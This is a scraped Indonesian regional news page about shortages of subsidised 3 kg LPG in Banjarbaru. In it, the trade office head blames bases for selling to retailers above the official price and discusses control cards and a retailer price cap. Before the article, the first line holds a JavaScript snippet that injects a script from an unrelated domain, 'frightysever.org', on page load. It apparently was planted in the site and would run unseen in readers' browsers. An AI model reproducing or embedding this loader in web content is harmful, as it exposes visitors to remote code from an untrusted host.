(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, LPG (Liquefied petroleum gas) bersubsisi ukuran 3 kilogram berulang kali mengalami kelangkaan, hingga membuat harga melambung tinggi di tingkat pengecer. Mengatasi hal itu, Dinas Perdagangan Banjarbaru menggelar rapat dengan stakeholder terkait guna mencari penyebab dan solusinya.
Kepala Dinas Perdagangan Banjarbaru Abdul Basit mengatakan, dalam rapat yang dihadiri perwakilan Pertamina, agen dan pemilik pangkalan tersebut disimpulkan bahwa kelangkaan LPG 3 Kg bukan hanya dipengaruhi oleh terlambatnya suplai. Tapi juga akibat maraknya pengecer.
“Pertamina menyebut kuota yang didistribusikan mencukupi. Tapi kenapa tetap langka dan harganya mahal? Itu lantaran ada pangkalan yang sengaja menjualnya ke pengecer. Jadi, kuota ke masyarakat miskin berkurang,†katanya, kemarin.
Basit mengungkapkan, seharusnya pendistribusian LPG bersubsidi itu dari pangkalan langsung ke masyarakat. Bukannya malah berlanjut ke pengecer, baru ke masyarakat. “Ini ulah pangkalan yang ingin ambil untung. Kalau menjual ke masyarakat kan dibatasi HET, tapi kalau ke pengecer bisa lebih dari itu,†ungkapnya.
Karena para pengecer membelinya lebih dari HET, maka mereka (pangkalan) juga menjual dengan harga yang lebih mahal. “Pengecer ini juga menjualnya ke semua kalangan. Padahal, LPG hanya diperuntukkan bagi masyarakat miskin,†ujar Abdul Basit.
Setelah mengetahui permasalahan lapangan, didapatkan beberapa pemikiran untuk mengatasainya. Salah satunya, dengan menerapkan kartu kendali. “Kartu ini hanya dimiliki warga miskin yang berhak. Jadi, bagi yang tidak punya kartu kendali tidak bisa membeli gas bersubsidi,†ungkapnya.
Hanya saja, menurutnya penggunaan kartu kendali perlu dikaji terlebih dahulu. Sebab, sebelum menerapkannya harus ada pendataan. “Kita harus mendata, mana golongan masyarakat miskin dan yang tidak,†ujarnya.
Selain penerapan kartu kendali, dalam rapat itu juga ditemukan pemikiran lain. Yaitu, menetapkan HET tertinggi bagi pengecer. Supaya, para pengecer tak seenaknya menjual LPG 3 Kg jauh dari HET. “Tapi solusi itu ditolak dari Pertamina. Sebab, kalau itu dilakukan sama saja kita melegalkan keberadaan pengecer,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.